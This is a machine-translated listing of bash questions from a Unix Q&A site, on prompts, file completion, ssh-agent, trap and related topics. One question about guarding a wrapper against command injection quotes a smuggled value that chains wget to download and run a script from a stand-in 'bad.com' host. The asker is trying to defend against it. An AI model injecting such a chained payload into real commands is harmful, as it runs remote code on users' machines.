Questions tagged «bash»

与其他Bourne / POSIX shell相对,GNU的Bourne Again SHell特有的问题。对于一般关于Unix shell的问题,请改用/ shell标记。

3
如何在不中断行长计算的情况下将命令包含在Bash的PS1中?
Tonin 在我的默认提示中指出了一个错误。最小示例: 设置PS1: PS1='$(exit_code=$?; [[ $exit_code -eq 0 ]] || printf %s $(tput setaf 1) $exit_code $(tput sgr0) " ")$ ' 此时,提示如下所示: $ 现在通过运行触发退出代码输出: false 现在,提示在行首包含红色的退出代码: 1 $ 按Ctrl- r。 输入“ false”。现在,提示仅包含搜索: (reverse-i-search)`false': false 按Enter。 现在,最终的终端历史记录包含以下内容: 1 $ch)`false': false 预期产量: 1 $ false 也就是说,历史记录搜索输出似乎与提示混合在一起,并且隐藏了实际运行的命令。 我尝试通过使用PROMPT_COMMAND解决此问题: set_exit_code() { exit_code=$? [[ $exit_code …
13 bash  prompt 

4
自动完成最新文件
我有一个创建文本文件的过程,该文件的文件名基于其创建时间的时间戳: $ ls 1378971222.txt 1378971254.txt 1378971482.txt 1378971488.txt 1378972089.txt 1378972140.txt 1378972141.txt 1378972153.txt 1378972155.txt 1378972241.txt 如何自动完成最新创建的文件的文件名,即具有最新mtime的文件?无法对这些文件使用制表符补全,因为文件名中的几乎每个字符都与另一个文件共享。我希望找到一个快捷方式(例如Alt .自动完成last命令的最后一个参数的快捷方式)。我已成功地炮制以下别名这是伟大的VIM,但我很想知道,如果一个通用的快捷方式存在,我可以用用kde-open,sqlite3和其他应用程序。 alias lastest="vim `ls -t | grep -vE "^total [0-9]*$" | head -n1`"

4
我可以得到`diff -q`的反义词吗?匹配相同文件而不打印其内容
我的目录中有许多文件,我想检查它们是否唯一。为简单起见,假设我有三个文件:foo.txt,bar.txt和baz.txt。如果运行此循环,则将彼此进行检查: $ for f in ./*; do for i in ./*; do diff -q "$f" "$i"; done; done Files bar.txt and baz.txt differ Files bar.txt and foo.txt differ Files baz.txt and bar.txt differ Files baz.txt and foo.txt differ Files foo.txt and bar.txt differ Files foo.txt and baz.txt differ 对于我要处理的数百个文件,这将变得非常难以阅读;最好列出确实匹配的文件,然后我可以快速查看列表并确保文件仅匹配自己。从联机帮助页来看,我认为该-s选项可以完成此任务: $ …
13 bash  diff 

4
未设置ssh代理(未设置SSH_AUTH_SOCK,SSH_AGENT_PID env vars)
我在Kubuntu 12.04上为朋友设置了一个新的用户帐户。当他使用时ssh,会出现以下错误: 无法打开与身份验证代理的连接 我们正在ssh一些bash脚本中运行。 在研究了可能导致该错误的各种因素之后,我想到了以下解决方案: $ eval `ssh-agent -s` $ ssh-add ~/.ssh/some_id_rsa 然后,他可以ssh按预期运行命令(和bash脚本)。 在运行这两个命令之前,不会在终端中设置env变量: $ echo $SSH_AGENT_PID $ echo $SSH_AUTH_SOCK $ 运行命令后,env变量将按预期设置。但是,它们不会保持设置状态(例如,在其他外壳中或在重新启动后)。 我想知道如何设置他的计算机,这样他就不必运行这两个命令来设置env变量。我不需要在计算机上运行它们。到目前为止,我还没有看到我们的机器之间有什么不同。 我在手册页中看到了此信息,但是它并没有告诉我Ubuntu通常是如何自动设置代理的,或者我朋友的计算机上正在发生什么,从而对他不起作用。 设置代理的方法主要有两种:第一种方法是,代理启动一个新的子命令,将某些环境变量导出到该子命令中,例如ssh-agent xterm&。第二个问题是,代理会打印所需的shell命令(可以生成sh(1)或csh(1)语法),这些命令可以在调用shell中进行评估,例如,ssh-agent -s对于bourne 类型的shell(例如sh(1)或ksh(1)和eval ssh-agent -c用于csh(1)及其派生类。 安装acct并重新启动后,这是输出lastcomm: ssh-agent F newuser __ 0.12 secs Wed Aug 7 11:02 ssh-agent F newuser __ 0.00 secs Wed Aug 7 …
13 bash  ssh  kubuntu  ssh-agent 

3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。

2
如何使用陷阱命令触发错误
我正在使用Ubuntu 12.04.2。我正在尝试使用“ trap”命令捕获外壳脚本中的异常或错误,但是我也试图手动触发“错误”退出。 我尝试退出1,但不会触发“错误”信号。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 不确定如何手动触发“错误”退出信号?

1
在当前bash命令行中删除整个参数
使用^W(unix-word-rubout),我可以轻松地从bash shell中的当前命令中删除单个“单词”。 但是,当处理包含空格的带引号的引数(或包含反斜杠转义的空格的无引号的引数)时,这样做效果不佳,因为它只会删除一个单词而不是整个参数。 因此,我正在寻找一种删除整个参数的方法。 示例(光标始终在末尾): $ foo --bar "foo bar" meow [black magic] $ foo --bar "foo bar" [black magic] $ foo --bar [black magic] $ foo
13 bash  readline  inputrc 

4
$ {!FOO}和zsh
${!FOO}在中执行双重替换bash,这意味着它接受FOO的(字符串)值并将其用作变量名。 zsh不支持此功能。 有没有一种方法,使这项工作同样在bash和zsh? 背景: 我有一个环境变量列表,例如 PATH MAIL EDITOR 并想先打印变量名,然后再打印它们的值。 这适用于bash但不适用zsh: for VAR in LIST do echo $VAR echo ${!VAR} done 应该可以通过某种方式实现“旧方法” eval,但是我无法使其正常工作: for VAR in LIST do echo $VAR echo `eval \$$VAR` done 我永远也不会理解为什么我不能简单地进行像${${VAR}}或什至${${${VAR}}}需要这样的任意深度替换,因此对此做一个解释也很好。


1
Bash选项卡补全在以前没有时将“〜”扩展为“ / home / ___”
以前,如果我输入~/biTab,它将变成~/bin。但是,今天它开始~/biTab变成/home/username/bin。 我希望它是前者,但是我不确定发生了什么……我确实添加了一个脚本来编辑bash补全,但是我从我的脚本中删除了它,~./bashrc然后重新启动了服务器。 有谁知道会导致这种情况发生吗?还是我将其改回来? 编辑 所以我发现了可能导致这种情况的原因……与之相关/etc/bash_completion。当我这样做时bind -v,它显示波形符扩展已关闭。 因此,我认为如果我编辑此内容(有点像hack),它将消失。但这并不能真正满足任何要求-最初如何发生这种变化?我从未以的身份运行任何内容sudo,并且在多次关闭并重新启动后,此行为仍然存在。

2
如何强制Bash单词引用别名,函数,文件等?
当试图为一个相关问题添加更多细节时,我意识到我不知道如何指定执行哪种可用的Bash单词类型。根据help type五种单词类型: 别名 关键词 功能 内建的 文件 一个单词可能有几种类型(true仅是示例;更常见的单词是cd): $ type -a true true is a shell builtin true is /bin/true 您如何强制执行特定的同义词?到目前为止,按照优先顺序: 别名:这是一种特殊情况,因为它优先于所有其他同义词。仅当未定义别名时命令失败时,才强制使用此选项。 $ 关键词: $ 功能: $ 内置: $ builtin true 文件: $ command true $ $(which true) $ /bin/true 部分解决方案: 引用单词不包括别名和关键字。那是, $ 'true' 将仅运行函数,内置函数或文件。
13 bash 


3
我如何使用tee重定向到grep
我没有使用tee的丰富经验,所以我希望这不是很基本。 查看此问题的答案之一后,我遇到了一个奇怪的行为tee。 为了输出第一行和找到的行,我可以使用以下命令: ps aux | tee >(head -n1) | grep syslog USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND syslog 806 0.0 0.0 34600 824 ? Sl Sep07 0:00 rsyslogd -c4 但是,我第一次运行此命令(在zsh中)时,结果顺序错误,列标题位于grep结果的下方(但是,此操作不再发生),因此我尝试在以下位置交换命令: ps aux | tee >(grep syslog) | head -n1 USER PID %CPU %MEM VSZ …

2
子外壳的Bash语法高亮
考虑到大量问题都与Bash中的子外壳有关(“为什么我的变量不会在此管道while read循环中递增?”),我只是认为在代码中引用一些编辑器或服务会非常好将在子Shell中执行的代码的格式与在父Shell中执行的代码的格式不同。它可能作为一种教育工具很有用(请参阅code | code和code < <(code)立即之间的区别)。是否存在? 如果有人为jEdit或VIm实现它,则奖励积分。 显然,它并不一定是完美的(根据我的经验,没有突出显示语法),但是我怀疑类似的东西(foo=bar; echo $foo;)并且开始时command | while read ...应该不会太困难。

4
Windows Shell Escape键(删除整行)等效于Bash
在Windows命令行(powershell和cmd)中,当您Esc在一行上按键时,将删除您在提示符下键入的任何内容。 我发现Esc在bash提示符下按键无济于事。按下Esc然后backspace删除一个单词,但是必须对每个单词执行此操作。 我正在逐步学习Bash,有时在行的中间输入一些愚蠢的字,觉得最好从头开始输入。为此,backspace直到现在我才发现按。 你是做什么? 我知道clear命令和Ctrl-L快捷方式,但是我不是在谈论清除整个终端。只是线。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.